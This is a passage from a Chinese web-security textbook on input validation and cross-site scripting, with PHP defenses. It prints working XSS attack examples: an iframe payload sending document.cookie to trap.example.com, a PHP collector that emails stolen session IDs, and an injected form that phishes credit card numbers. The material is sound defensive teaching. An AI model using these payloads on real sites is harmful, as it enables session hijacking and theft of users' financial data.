运算符。\n使用正则表达式检验输入值的实例（2）住址栏\n住址和姓名等的输入框多数情况下只限制字符的长度而不限制字符的种类。但是，即使不限制字符种类，也应当检查是否有控制字符混入，以防范空字节攻击。例如，下面脚本的正则表达式中就使用了 POSIX 字符集合 7\n[[:^cntrl:]]\n 来表示“非控制字符的字符”。\n代码清单 /42/42-013.php\n<?php\n $addr = isset($_GET['addr']) ? $_GET['addr'] : '';\n if (preg_match('/\\A[[:^cntrl:]]{1,30}\\z/u', $addr) == 0) {\n die(' 请输入长度小于 30 个字符的地址（必填项）。不能使用换行或 Tab 等控制字符 ');\n }\n输入评论等使用的 textarea 元素（多行输入文本框）中允许包含控制字符中的换行（有时也允许 Tab），这种情况下可以使用如下正则表达式。下例的意思是，禁止除换行和 Tab 以外的控制字符，字符长度为 1～400。\npreg_match('/\\A[\\r\\n\\t[:^cntrl:]]{1,400}\\z/u', $comment)\n专栏：请注意 mb_ereg 中的 \\d 与 \\w\n正则表达式内置了一些字符集合，如 \\d\n 匹配数字，\\w\n 匹配英文字母、数字和下划线。但是，mb_ereg 中使用 \\d\n 或 \\w\n 时也能匹配全角字符。比如 \\d\n 就能够匹配全角数字（仅限 Unicode）。\n虽然全角数字也是数字这一解释在个别情况下会有所帮助，但是，Web 应用中常见的数值校验中是不允许对象为全角数字的。\n像这样，使用内置的字符集合可能会匹配到预想以外的结果，因此，安全起见，建议使用 [a-zA-Z0-9_]\n 这类明确声明字符集合的方式。\n5\n 详情可参考后续章节中对跨站脚本和 SQL 注入的讲解，以及第 6 章。\n6\n 本书支持页面中的 /42/42-011.php。\n7\n POSIX 是 IEEE 规定的基于 Unix 操作系统的共通规格，其中也包含了正则表达式的规格。POSIX 字符集合则是指 POSIX 正则表达式中定义的字符集合。\n范例\n作为以上内容的总结，接下来我们来看一个 PHP 脚本范例，该脚本的目的在于接收 URL 中的查询字符串 name\n 并将其显示在页面上。\n代码清单 /42/42-020.php\n<?php\n // 取得参数后校验并转换字符编码\n // 同时执行了输入值校验的函数\n // $key : GET 参数名\n // $pattern : 用于验证输入值的正则表达式字符串\n // $error : 验证输入值时的错误消息\n // 返回值 : 取得的参数（string）\n function getParam($key, $pattern, $error) {\n $val = isset($_GET[$key]) ? $_GET[$key] : '';\n // 校验字符编码（Shift_JIS）\n if (! mb_check_encoding($val, 'Shift_JIS')) {\n die(' 字符编码有误 ');\n }\n // 转换字符编码（Shift_JIS → UTF-8）\n $val = mb_convert_encoding($val, 'UTF-8', 'Shift_JIS');\n if (preg_match($pattern, $val) == 0) {\n die($error);\n }\n return $val;\n }\n // 调用取得参数的函数\n $name = getParam('name', '/\\A[[:^cntrl:]]{1,20}\\z/',\n ' 请输入长度小于 20 个字符的姓名（必填项）。不能使用控制字符 ');\n?>\n<body>\n姓名为 <?php echo htmlspecialchars($name, ENT_NOQUOTES, 'UTF-8'); ?>\n</body>\ngetParam\n 函数中进行了读取字符串、校验字符编码、转换字符编码、输入校验等操作。定义此类能够复用的共通方法，能够使后续的开发过程轻松很多。\n范例代码中也存在一些不足之处，比如错误消息过于简陋难以理解等。这里笔者希望将代码的改善工作作为习题留给读者。\n专栏：输入校验与框架\n前面介绍了在应用程序中通过业务逻辑来进行输入校验的方法，而在使用 Web 应用开发框架的情况下，也能利用框架中提供的输入校验功能，从而简化开发流程。\n以微软的 .NET Framework 为例，该框架提供了名为“校验控件”的可视化输入校验功能。图 4-9 展示了在 Visual Web Developer 2010 中使用 RangeValidator 校验控件的情形。RangeValidator 能校验输入值的类型与长度范围，可以看出本例中的输入值为 Integer 型，长度范围为 1～100 字符。具体内容请查看图 4-9 中的 Type\n 、MinimumValue\n 、MaximumValue\n 、ErrorMessage\n 这些属性。\n图 4-9 校验控件中的属性设置\n图 4-10 为运行后的页面。\n图 4-10 RangeValidator 的运行示例\n截图是输入“101”后将输入焦点移动时的情形。通过 JavaScript 的检验在页面上显示了“请输入范围为 1～100 的整数”的消息。这是在 RangeValidator 的 ErrorMessage\n 属性中设置的消息。同样的校验也会在服务器端执行。\n除 .NET Framework 之外，很多其他的开发框架同样也提供了输入校验的功能，在实际进行开发工作时，可根据情况对其善加利用。\n总结\n在 Web 应用的入口处，程序会执行以下三类操作，即检验输入字符编码、转换字符编码、输入校验。虽然这些操作并非根本性的安全性策略，但也能够有助于对框架和应用中潜在的安全隐患进行防范。\n输入校验的依据是应用的规格\n检验字符编码\n检验包含控制字符在内的字符种类\n检验字符数\n实施流程如下。\n设计阶段将各个参数的字符种类以及最大字符数写入软件规格说明书。\n设计阶段决定输入校验的实现方针。\n开发阶段依照设计阶段的决定实现输入校验。\n参考：表示“非控制字符的字符”的正则表达式\n作为参考，此处介绍一下 PHP、Perl、Java、VB.NET 中表示“非控制字符的字符”的正则表达式。下面各例子的目的都是确认“输入值为 0～100 个字符且不包含控制字符”。\nPHP（preg_match）\n以下为使用 POSIX 字符集合的例子。\nif (preg_match('/\\A[[:^cntrl:]]{0,100}\\z/u', $s) == 1) {\n # 输入校验 OK\nPHP 的 preg_match\n 函数除了使用 POSIX 字符集合外，还能使用 Perl 风格的 \\P{Cc}\n 。这种写法也适用于 Perl、Java、.NET 等语言。\nif (preg_match('/\\A\\P{Cc}{0,100}\\z/u', $s) == 1) {\n # 输入校验 OK\nPHP（mb_ereg）\nmb_ereg\n 只能使用 POSIX 字符集合。\nif (mb_ereg('\\A[[:^cntrl:]]{0,100}\\z', $addr) !== false) {\n # 输入校验 OK\nPerl\nPerl 能使用 \\P{Cc}\n 来指定控制字符以外的字符。由于 Perl 中能够使用正则表达式字面量，所以不必使用两个 \\\n 来转义。\nif ($s =~ /\\A\\P{Cc}{0,100}\\z/) {\n # 输入校验 OK\nJava\nJava 中可以使用 String 类的 matches\n 方法。matches\n 方法匹配规则为全体一致，所以正则表达式中不必使用 \\A\n 和 \\z\n 。Java 中正则表达式的形式为字符串，所以需要使用两个 \\\n 来转义。\nif (s.matches(\"\\\\P{Cc}{0,100}\")) {\n // 输入校验 OK\nVB.NET\n.NET Framework 中提供了使用 Regex\n 类进行正则表达式查询的功能。VB.NET 的字符串字面量中不需要使用两个 \\\n 来转义。\nif Regex.IsMatch(s, \"\\A\\P{Cc}{0,100}\\z\") then\n ' 校验 OK\n参考文献\n[1] 徳丸浩 （.2009 年 6 月 2 日）. 主要言語別：入力値検証の具体例～入力に関する対策（3）. 参考日期：2011 年 1 月 6 日，参考网址：ITpro: http://itpro.nikkeibp.co.jp/article/COLUMN/20090525/330611/\n4.3 页面显示的相关问题\n页面显示处理中会产生的安全性问题有如下两项。\n跨站脚本\n错误消息导致的信息泄漏\n这里，我们将跨站脚本分成 4.3.1（基础篇）和 4.3.2（进阶篇）两部分进行详细讲述。进阶篇将涉及应用程序动态生成的显示内容中包括 URL、JavaScript 和 CSS（Cascading Style Sheets）等的情况。而不涉及动态生成的内容的情况下，则只需彻底掌握基础篇的知识即可。\n错误消息导致的信息泄漏将在 4.3.3 节中介绍。\n4.3.1 跨站脚本（基础篇）\n概要\n通常情况下，在 Web 应用的网页中，有些部分的显示内容会依据外界输入值而发生变化，而如果生成这些 HTML 的程序中存在问题，就会滋生名为跨站脚本（Cross-Site Scripting）的安全隐患。跨站脚本的英语名称很长，所以经常缩写为 XSS8\n 。本书也采用 XSS 这一缩写形式。\n8\n 之所以不缩写为 CSS，是为了避免与 Cascading Style Sheets 的缩写混淆。\nWeb 应用若存在 XSS 漏洞，就会有下列风险。\n用户的浏览器中运行攻击者的恶意脚本，从而导致 Cookie 信息被窃取，用户身份被冒名顶替\n攻击者能获得用户的权限来恶意使用 Web 应用的功能\n向用户显示伪造的输入表单，通过钓鱼式攻击窃取用户的个人信息\nWeb 应用的网页上显示外界传入参数的场所不在少数，只要有一处存在 XSS 漏洞，网站的用户就会有被冒名顶替的风险。\nWeb 应用中需要防范 XSS 漏洞的地方很多，然而网站运营方却普遍对此疏忽大意，对实施防范措施不够重视。但是，现实中 XSS 攻击是确实存在的，而且 XSS 的受害者也与日俱增，因此，在 Web 应用中采取防范 XSS 漏洞的策略必不可少。\n防范 XSS 的策略为，页面显示时将 HTML 中含有特殊意义的字符（元字符）转义（Escape）。具体内容之后会进行详述。\nXSS 漏洞总览\n攻击手段与影响\n为了更好地理解 XSS 的攻击方法与影响，首先让我们来看一下 XSS 被恶意使用的 3 种方式。\n窃取 Cookie 值\n通过 JavaScript 攻击\n篡改网页\nXSS 窃取 Cookie 值\n假设以下 PHP 脚本是搜索页面的一部分。该页面需要用户登录后才能使用，页面上显示的是搜索关键词。\n代码清单 /43/43-001.php\n<?php\n session_start();\n // 登录校验（略）\n?>\n<body>\n检索关键词 :<?php echo $_GET['keyword']; ?><br>\n以下略\n</body>\n先来看一下正常运行的情况，假设关键词为“Haskell”，URL 如下。\nhttp://example.jp/43/43-001.php?keyword=Haskell\n此时页面显示内容如下。\n图 4-11 指定关键词为“Haskell”（正常情况）\n接下来是攻击的例子。关键词指定如下。\nkeyword=<script>alert(document.cookie)</script>\n页面显示如下 9\n 。\n图 4-12 会话 ID 被读取\n如图所示，保存在 Cookie 中的会话 ID（PHPSESSID）被显示了出来。表明外部注入的 JavaScript 成功读取到了会话 ID。\n使用被动攻击盗取他人的 Cookie 值\n然而，能够显示自己的会话 ID 对于攻击者来说并无太大意义，在实际的攻击中，攻击者需要将存在隐患的网站的用户引诱至恶意网站。以下就是恶意网站的示例。\n代码清单 /43/43-900.html\n<html><body>\n商品大甩卖\n<br><br>\n<iframe width=320 height=100 src=\"http://example.jp/43/43-001.php?keyword=<script>window.location='http://trap.example.com/43/43-901.php?sid='%2Bdocument.cookie;</script>\"></iframe>\n</body></html>\n恶意网站的 HTML 使用了 iframe 元素来显示存在隐患的网站的页面（/43/43-001.php），并对其实施 XSS 攻击 10\n 。存在隐患的网站的用户只要浏览了该恶意网站，浏览器中 iframe 里面的页面就 会受到 XSS 攻击。\n图 4-13 恶意网站构造示例\n1. 恶意网站的 iframe 中显示出存在隐患的网站\n2. 存在隐患的网站遭受攻击后，Cookie 值被添加到 URL 的查询字符串中，页面跳转到信息收集页面\n3. 信息收集页面将接收到的 Cookie 值通过邮件发送给攻击者\n图 4-13 展示了恶意网站的运作方式。打开图左侧的页面时，iframe 中会使用如下 URL 访问隐患网页。\nhttp://example.jp/43/43-001.php?keyword=<script>window.location='http://trap.example.com/43/43-901.php?sid='%2Bdocument.cookie;</script>\n然后，存在隐患的网页中就会执行如下 JavaScript 代码。为了易于阅读，此处对其进行了适当的换行。\n<script>\nwindow.location='http://trap.example.com/43/43-901.php?sid='\n+document.cookie;\n</script>\n这段 JavaScript 脚本的作用为，添加 Cookie 值作为 URL 的查询字符串，并跳转至信息收集页面（43-091.php）11\n 。以下为收集信息用的脚本，它会将收集到的会话 ID 发送给攻击者的邮箱（假定为 wasbook@example.jp）。\n代码清单 /43/43-901.php\n<?php\n mb_language('Japanese');\n $sid = $_GET['sid'];\n mb_send_mail('wasbook@example.jp', ' 攻击成功 ', ' 会话 ID:' . $sid, 'From: cracked@trap.example.com');\n?>\n<body> 攻击成功 <br>\n<?php echo $sid; ?>\n</body>\n邮件发送结果如图 4-14 所示。\n图 4-14 通过邮件收集浏览了恶意网站的用户的会话 ID\n如此这般，如果用户是在登录了存在隐患的网站之后浏览的恶意网页，就会中了 XSS 的招而使自己的会话 ID 通过邮件发送给攻击者。攻击者利用得到的会话 ID，就可以伪装成其他用户肆意妄为。\n通过 JavaScript 攻击\n在上面的例子中，攻击者利用 JavaScript 读取到了用户的 Cookie 值，然而，事实上利用 JavaScript 实施的攻击却远不止如此。其中一个典型的案例就是利用 XSS 制造的蠕虫病毒。下表列举了专门攻击美国大型网站的蠕虫病毒。\n表 4-3 XSS 蠕虫病毒\n时期\n蠕虫名\n目标网站\n主要行为\n2005 年 10 月\nJS/Spacehero(samy)\nmyspace.com\n为名为 samy 的账户增加好友\n2006 年 6 月\nJS.Yamanner@m\nYahoo ！邮箱（美国版）\n向感染者的通讯录中的邮箱地址发送病毒\n2009 年 4 月\nJS.Twettir\ntwitter.com\n将病毒复制到感染者的个人资料页面中\n2010 年 9 月\n-\ntwitter.com\n自动发布跳转至成人网站的信息等\n虽然这些蠕虫病毒表面上看上去并不带有恶意，但如果罪犯有决心的话，就能够收集大量的用户个人信息或者伪装他人发布信息，从而形成潜在的巨大风险。\n另外，随着 Ajax 技术的风靡，通过 JavaScript 调用 Web 应用的各种功能的程序（Application Program Interface，缩写为 API）在网站中的分量正在逐步增加。由于 API 也能被恶意用于实施攻击，因此，综合使用 XSS 与 JavaScript 的攻击实施起来反而变得更容易了。\n篡改网页\n以上解说的攻击手段中，XSS 攻击的对象网站仅限于支持会员登录的网站。其实，没有登录功能的网站同样也会遭受 XSS 攻击。\n图 4-15 是某新发布的手机的预购网站。该网站由于存在 XSS 漏洞，因此便能够对网页中的 HTML 元素进行添加 / 更改 / 删除，或者更改表单发送的目标。\n图 4-15 某新款手机的预购网站\n网页脚本的主干内容如下 12\n 。由于该页面兼任着输入页面和编辑页面，因此各个输入框都设置了初期值。而 XSS 漏洞就存在于此。\n代码清单 43/43-902.php\n<!DOCTMPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n<head><title> 全新手机预约 </title></head>\n<body>\n<form action=\"\" method=\"POST\">\n姓 名 <input size=\"20\" name=\"name\" value=\"<?php echo @$_POST['name']; ?>\"><br>\n地 址 <input size=\"20\" name=\"addr\" value=\"<?php echo @$_POST['addr']; ?>\"><br>\n电话号码 <input size=\"20\" name=\"tel\" value=\"<?php echo @$_POST['tel']; ?>\"><br>\n型 号 <input size=\"10\" name=\"kind\" value=\"<?php echo @$_POST['kind']; ?>\">\n数 量 <input size=\"5\" name=\"num\" value=\"<?php echo @$_POST['num']; ?>\">\n<br>\n<input type=submit value=\" 申请 \"></form>\n</body>\n</html>\n虽然该网站没有认证功能，但同样能对其实施 XSS 攻击。\n以下 HTML（43-902.html）为对“某新款手机的预约网站”进行 XSS 攻击的恶意网页。该页面同时也可以作为不使用 JavaScript 的 XSS 攻击的示例，页面上通过样式将攻击用表单的提交按钮伪装成了链接的样子。\n代码清单 43/43-902.html\n<html>\n<head><title> 使用信用卡预约全新手机 </title></head>\n<body>\n现在可以使用信用卡预约手机，赶紧下单吧。\n<BR>\n<form action=\"http://example.jp/43/43-002.php\" method=\"POST\">\n<input name=\"name\" type=\"hidden\" value=''></form><form style=top:5px;left:5px;position:absolute;z-index:99;background-color:white action=http://trap.example.com/43/43-903.php method=POST>请使用信用卡支付预购定金<br>姓 名<input size=20 name=name><br>地 址<input size=20 name=addr><br>电话号码<input size=20 name=tel><br>型 号<input size=10 name=kind>数量<input size=5 name=num><br>信用卡号<input size=16 name=card>有效期限<input size=5 name=thru><br><input value=申请 type=submit><br><br><br><br><br></form>\n'> └─注入的 HTML\n<input style=\"cursor:pointer;text-decoration:underline;color:blue;\nborder:none;\nbackground:transparent;font-size:100%;\" type=\"submit\" value=\"手机预约中心\">\n</form> └────伪装成链接的按钮\n</body>\n</html>\n下图为恶意网页的页面。\n图 4-16 恶意网页\n用户点击伪装成链接的按钮后，如下 HTML 就会被生成在攻击对象网站上。\n<FORM action=\"\" METHOD=POST> ┌使原先的 from 元素结束\n姓 名 <INPUT size=\"20\" name=\"name\" value=\"\"></form>\n ┌通过指定样式将原先的 form 覆盖\n<form style=top:5px;left:5px;position:absolute;z-index:99;background-color:white\n ┌─────篡改 action 目标至恶意网站\naction=http://trap.example.com/43/43-903.php\n method=POST> 请使用信用卡支付预购定金\n<br> 姓 名 <input size=20 name=name><br> 地 址 <input size=20 name=addr><br>电话号码 <input size=20 name=tel><br> 型 号 <input size=10 name=kind> 数 量\n<input size=5 name=num><br> 信用卡号 <input size=16 name=card> 有效期限 <input size=5 name=thru><br><input value= 申请 type=submit><br><br><br><br><br>\n</form>\"><BR>\n恶意网页通过下列手段隐藏原先的 form 并添加新的 form，从而改变页面。\n使用 </form> 使原先页面的 form 元素结束\n添加新的 form 元素，并指定 style 如下\n通过指定绝对座标将 form 的位置定位于左上角\n将 z-index 设置为很大的值 (99)，确保其堆叠顺序在原先 form 的前面\n将背景色设为白色，从而隐藏原先的 form\n将 action 的 URL 指定为恶意网站\n被更改后的页面如下图所示。\n图 4-17 被更改后的手机预购网站\n页面上被添加了“请使用信用卡支付预购定金”和输入信用卡卡号及有效期限的文本框。此外，尽管页面上看不出来，但 form 元素的 action 属性也已经被变成了恶意网站的 URL。\n然而，浏览器地址栏上显示的 URL 却同先前的手机预购网站完全一致。此外，虽然本例没有涉及，但事实上当网站为 https 时其证书也会被显示为正规。因此，用户便找不到任何蛛丝马迹来识破这一伪装的页面。\n由此可见，XSS 并非一定会使用 JavaScript，因此，如果防范策略仅局限于 script 元素（例如将“script”单词全部删除），攻击者还是会有可乘之机。而对用户来说，仅在浏览器中禁止 JavaScript 也是不能得以高枕无忧的。\n反射型 XSS 与存储型 XSS\n接下来我们将换个视角，根据攻击用 JavaScript 代码的存储地点将 XSS 攻击分类。\n如果攻击用 JavaScript 代码位于攻击目标网站之外的其他网站（恶意网站或邮件中的 URL），就称之为反射型 XSS（Reflected XSS）。最先介绍的 43-001.php 中的 XSS 攻击模式，就属于反射型 XSS。反射型 XSS 多发生于网页将用户的输入值原封不动地显示出来的情况下。其中，输入值确认页面就是一个典型的例子。\n图 4-18 反射型 XSS\n与此相对，有时攻击者也会将攻击用 JavaScript 代码保存至攻击对象的数据库中。这种模式的 XSS 就被称为存储型 XSS（Stored XSS）或持久性 XSS（Presistent XSS）。\n图 4-19 存储型 XSS\n存储型 XSS 的典型攻击对象为 Web 邮箱客户端以及社交网站（Social Networking Service，简称 SNS）。存储型 XSS 无需攻击者费尽心思将用户引诱至恶意网站，而且即使是戒心很重的用户也会有很大的几率中招，因此对攻击者来说益处多多。\n存储型 XSS 产生的原因同样也位于生成 HTML 的地方。\n除此之外，当网页中存在不通过服务器而仅依靠前端 JavaScript 来显示的参数时，就有可能会招致 DOM based XSS 这种类型的 XSS 发生。详情将在 4.3.2 节介绍。\n9\n IE8 默认启用 XSS 筛选器的情况下，会阻挡通过 XSS 执行的 JavaScript。若要在 IE8 中显示图 4-12 的效果，可以选择“工具”菜单的“Internet 选项”→选择“安全”标签→点击“自定义级别”→脚本→启用 XSS 筛选器→关闭。实验结束后，再将设置改回。\n10\n 实际的攻击中，攻击者会通过设置 CSS 将 iframe 部分隐藏，以不被用户看到。\n11\n 其实 43-091.php 中也存在 XSS 漏洞，但假设攻击者对此并不知情。\n12\n$_POST\n 变量前面的“@”为错误控制运算符，用于忽略该 POST 变量未定义时发生的错误。\n安全隐患的产生原因\nXSS 漏洞产生的原因为，生成 HTML 的过程中，HTML 语法中含有特殊意义的字符（元字符）没有被正确处理，结果导致 HTML 或 JavaScript 被肆意注入，从而使得原先的 HTML 结构产生变化。为了消除元字符的特殊意义，将其转化为普通字符，就需要用到转义（Escape）处理。HTML 的转义处理对于消除 XSS 至关重要。\n接下来就让我们来看一下 HTML 中转义的方法，以及不转义时将会遭受的攻击。\nHTML 转义的概要\n这里我们来重点看一下如何正确地进行 HTML 转义。\n例如，在 HTML 中显示 < 时，必须按照字符实体引用（Character Entity Reference）将其转义记载为 <。而如果忽略这一步骤直接生成 HTML 的话，浏览器就会将 <\n 解释为标签的开始。从而就会招致恶意利用此漏洞进行的 XSS 攻击。\n在 HTML 中，根据字符所处位置的不同，应当转义的元字符也会发生变化。基本篇将对图 4-20 中的元素内容和属性值的转义方法进行介绍。\n<html>\n<body>\n<form ...>\n<input name=\"tel\" value=\"03-1234-5678\n\">\n<input type=\"submit\"> └──属性值\n</form>\n<p>\n元素内容\n</p>\n</form>\n</html>\n图 4-20 元素内容和属性值的说明\n下表归纳了不同位置的参数的转义方法。\n表 4-4 参数所在位置及相应的转义方法\n位置\n说明\n最低限度的转义内容\n元素内容\n能解释 Tag和字符实体\n结束边界字符为“<”\n“<”和“&”使用字符实体转义\n属性值（双引号中 的内容）\n能解释字符实体\n结束边界字符为双引号\n属性值用双引号括起来，“<”和“&”和“`\"`”使用字符实体转义13 \n13\n 尽管要求将属性值中的 < 转义的是 XHTML，但 HTML4.01 的情况下也可以进行转义。\n接下来就让我们来探讨一下不进行转义时将会受到怎样的 XSS 攻击。\n元素内容的 XSS\n关于元素内容（通常为文本格式）中发生的 XSS，之前在介绍“通过 XSS 窃取 Cookie 值”时已经做过讲述。元素内容中发生的 XSS 是最基本的攻击模式，经常发生于没有将 <\n 转义的情 况下。\n没有用引号括起来的属性值的 XSS\n如下脚本中的属性值没有用引号括起来。\n代码清单 /43/43-003.php\n<body>\n<input type=text name=mail value=<?php echo $_GET['p']; ?>>\n</body>\n此时，假设 p\n 的值如下。\n1+onmouseover%3dalert(document.cookie)\nURL 中的 +\n 代表空格，%3d\n 代表等号 =\n （百分号编码）。因此，之前的 input 元素就变成了如下这般。\n<input type=text name=mail value=1 onmouseover= alert(document.cookie)>\n属性值没有用引号括起来时，空格就意味着属性值的结束，因此就可以通过插入空格来添加属性。此处即被添加了 onmouseover 事件绑定。\n如下图所示，将鼠标移到 input 元素的文本输入框上时，JavaScript 就会被执行。\n图 4-21 XSS 攻击成功\n用引号括起来的属性值的 XSS\n然而，即使属性值都用引号括了起来，但只要 \"\n 没有被转义，还是会发生 XSS 攻击。比如，如下脚本中属性值就用引号括了起来。\n代码清单 /43/43-004.php\n<body>\n<input type=\"text\" name=\"mail\" value=\"<?php echo $_GET['p']; ?>\">\n</body>\n此时，假设 p\n 的值如下。\n\"+onmouseover%3d\"alert(document.cookie)\n之前的 input 元素就变成了如下这般。\n<input type=\"text\" name=\"mail\" value=\"\" onmouseover=\"alert(document.cookie)\">\nvalue=\"\"\n 使得 value 属性结束，onmouseover 以后的字符被解释为事件绑定。因此，结果同前项相同。\n对策\n至此我们已经了解到 XSS 漏洞产生的主要原因是生成 HTML 时没有对 < 和 \" 转义。因此，将特殊字符转义显然就是重要对策，但就像上文中介绍的那样，依据字符在 HTML 中的位置不同，转义方针也各不相同。\n但是，分类太细反而又会使编程复杂化，因此，下面我们将介绍一些共通性较强的对策。\nXSS 对策的基础\n在一般的 HTML（JavaScript 和 CSS 除外）中，使用字符实体进行转义是 XSS 对策的基础。正如上文“安全隐患的产生原因”中所写的那样，HTML 中最低限度的防范策略如下 14\n 。\n元素内容中转义 < 和 &15\n属性值用双引号括起来，并转义 < 和 \" 和 &\n使用 PHP 开发应用时，可以使用 htmlspecialchars\n 函数进行HTML的转义。htmlspecialchars\n 最多可接收 4 个参数，其中，与安全性相关的前 3 个参数尤其重要。\n格式清单 htmlspecialchars 函数\nstring htmlspecialchars(string $string, int $quote_style, string $charset);\n各参数的意义详见下表。\n表 4-5 htmlspecialchars 函数的参数\n参数\n说明\n`$string`\n转换对象字符串\n`$quote_style`\n引号的转换方法，参考表 4-6\n`$charset`\n字符编码。如 UTF-8、GBK\n使用示例\necho htmlspecialchars($p, ENT_QUOTES, \"UTF-8\");\n表 4-6 htmlspecialchars 函数中的转换对象字符\n转换前\n转换后\n$quote_style 以及转换对象字符\nENT_NOQUOTES\nENT_COMPAT\nENT_QUOTES\n`<`\n`<`\n○\n○\n○\n`>`\n`>`\n○\n○\n○\n`&`\n`&`\n○\n○\n○\n`\"`\n`\"`\n×\n○\n○\n`'`\n`'`\n×\n×\n○\n而实际编程中我们只要采取如下方针即可。\n转义元素内容时 $quote_style\n 可设为任意值\n属性值按照以下两个方针处理\n属性值用双引号括起来\n将 $quote_style\n 设为 ENT_COMPAT\n 或 ENT_QUOTES\nhtmlspecialchars 函数的第三个参数\nhtmlspecialchars\n 函数的第三个参数是指定字符编码。PHP 脚本的情况下，输入 / 内部 / 输出可以分别指定不同的字符编码，但 htmlspecialchars\n 函数中指定的字符编码需与 PHP 的内部字符编码一致。如果指定有误的话函数的处理就会不正常，所以务必要正确指定。\n指定响应的字符编码\n如果 Web 应用与浏览器各自设想的字符编码不一致，也会成为 XSS 的原因。PHP 中提供了多种指定字符编码的方法，其中最可靠的方法是采用 header\n 函数，如下所示。\nheader('Content-Type: text/html; charset=UTF-8');\n关于字符编码的详细内容请参考第 6 章。\nXSS 的辅助性对策\n此处介绍一些能够缓和 XSS 攻击的对策。虽然上文已经介绍了 XSS 攻击的根本性对策，但是，由于需要提防的地方实在太多，而且依据 HTML 中位置的不同，防范策略也各异，因此很容易有所疏漏。而通过实施下面介绍的辅助性对策，即使根本性对策的实施有所疏漏，也能减轻攻击造成的损害。\n输入校验\n就像 4.2 节中介绍的那样，通过检验输入值的有效性，当输入值不符合条件时就显示错误消息并促使用户重新输入，有时也能够防御 XSS 攻击。\n当且仅当输入值为字母或数字的情况下，输入校验才能预防 XSS 攻击，如果输入框允许所有的字符就无法防御 XSS 攻击了。\n给 Cookie 添加 HttpOnly 属性\nCookie 中有名为 HttpOnly 的属性，该属性能禁止 JavaScript 读取 Cookie 值。\n通过给 Cookie 添加 HttpOnly 属性，能够杜绝 XSS 中窃取会话 ID 这一典型的攻击手段。但需注意的是其他攻击手段依然有效，所以这样只是限制了攻击者的选择范围，并不能杜绝所有 XSS 攻击。\n使用 PHP 开发应用时，给会话 ID 添加 HttpOnly 属性，可以在 php.ini 中做如下设置。\nsession.cookie_httponly = On\n详情请参考 PHP 的说明文档。\n关闭 TRACE 方法\n这是跨站追踪（Cross-Site Tracing，简称 XST）攻击的防范策略。XST 是指利用 JavaScript 发送 HTTP 的 TRACE 方法来窃取 Cookie 值或 Basic 认证密码的攻击手段。\nXST 攻击利用的是 XSS 漏洞，所以只要消除了 XSS 漏洞就能保证安全无虞。而为了以防实施防范策略时有所遗漏，可以通过关闭 TRACE 方法来防御 XST 攻击。实际上，现在的主流浏览器都已经能够自己防御 XST，所以只要用户不使用一些另类的浏览器，就可以不用顾虑 XST 攻击。\n在 Apache 中，关闭 TRTACE 方法，可以在 httpd.conf 中做如下设置。\nTraceEnable Off\n对策总结\n根本性对策（个别对策）\nHTML 的元素内容\n使用 htmlspecialchars\n 函数转义\n属性值\n使用 htmlspecialchars\n 函数转义并用双引号括起来\n根本性对策（共通对策）\n明确设置 HTTP 响应的字符编码\n辅助对策\n输入校验\n给 Cookie 添加 HttpOnly 属性\n关闭 TRACE 方法\n14\n XHTML 的属性值 < 也是转义对象。\n15\n script 和 style 元素除外。script 元素内转义将在下一部分内容（4.3.2）中讲述。\n参考：使用 Perl 的对策示例\n接下来向大家介绍一下 Perl 中能够用来防范 XSS 的功能。\n使用 Perl 进行 HTML 转义的方法\n在 Perl 中转义 HTML 时，能够使用 CGLpm 中的 escapeHTML\n 方法。\n# 声明使用 CGI.pm 与 escapeHTML\nuse CGI qw(escapeHTML);\nmy $query = new CGI; # 生成 CGI 对象\n# ...\nmy $ep = escapeHTML($p); # 将 $p 进行 HTML 转义后赋值给 $ep\n指定响应的字符编码\n在程序的开头加上如下代码，就可以指定 HTTP 响应的字符编码。\n# 在程序的开头处\nuse CGI;\nmy $query = new CGI; # 生成 CGI 对象\n# 输出响应之前\nprint $query->header(-charset => 'UTF-8');\n4.3.2 跨站脚本（进阶篇）\n本节作为前一节的补充，将继续介绍其他形式的跨站脚本安全隐患，即 href 等保存 URL 的属性值、事件绑定函数以及 script 元素。\n前面已经提到过转义参数的方法根据其在 HTML 中的位置不同而不同，因此，这里我们将上一节的图 4-20 扩充，如图 4-22 所示。\n ┌脚本（事件绑定）\n │\n │ ┌─事件绑定函数中的\n │ │ 字符串字面量\n<html> ↓ ↓\n<body onload=\"init('xxxx'\n);\n\">\n<form ...>\n<input name=\"tel\" value=\"03-1234-5678\n\">\n<input type=\"submit\"> ↑\n</form> └─属性值\n<a href=\"http://example.jp/\n\"> xxxx </a>\n<p> ↑\n元素内容\n └────属性值（URL）\n</p>\n<script type=\"test/javascript\">\n var x = ...; \n←──脚本\n document.write('John\n');\n</script> ↑\n</form> └──────script 元素中的\n</html> 字符串字面量\n图 4-22 HTML 的组成元素\n与上图相对应，下表为扩充后的 HTML 转义概要。\n表 4-7 HTML 转义概要\n位置\n说明\n转义概要\n元素内容（普通文本）\n能解释 Tag和字符实体。结束边界字符为“<”\n“<”和“&”使用字符实体转义\n属性值\n能解释字符实体。结束边界字符为双引号\n属性值用双引号括起来，“<”和“&”和“\"”使用字符实体转义\n属性值（URL）\n同上\n检验 URL 格式正确后按照属性值的规则转义\n事件绑定函数\n同上\n转义 JavaScript 后按照属性值的规则转义\nscript 元素中的字符串字面量\n不能解释 Tag 和字符实体。结束边界字符为“</”\n转义 JavaScript 并避免出现“</”\n其中，元素内容与属性值已在上一节讲述，接下来我们来看一下其他三项。\nhref 属性与 src 属性的 XSS\n有些属性的值为 URL，比如 a 元素的 href 属性、img 元素、frame 元素、iframe 元素的 src\n 属性等。如果属性中 URL 的值是由外界传入的话，外界就能够使用 javascript:JavaScript 代码形式（javascript 协议）的 URL 执行 JavaScript 代码 16\n 。比如，下面这段示例脚本的目的就是使用外界传入的 URL 来生成链接。\n16\n 除了 javascript 协议，还有 VBScript 协议（vbscript:）\n代码清单 /43/43-010.php\n<body>\n<a href=\"<?php echo htmlspecialchars($_GET['url']); ?>\"> 书签 </a>\n</body>\n作为攻击示范，下面我们使用以下 URL 来执行这段脚本。\nhttp://example.jp/43/43-010.php?url=javascript:alert(document.cookie)\n生成的 HTML 如下。如你所见，href 属性被设置了 JavaScript 协议，从而便能够执行 JavaScript 代码。\n<body>\n<a href=\"javascript:alert(document.cookie)\"> 书签 </a>\n</body>\n在页面上点击“书签”链接后，JavaScript 就会被执行。\n图 4-23 XSS 攻击成功\n在指定 URL 的 href 属性与 src 属性等中，有时 javascript 协议是有效的。\njavascript 协议引发的 XSS，其根源不是没有进行 HTML 转义，这与之前介绍的 XSS 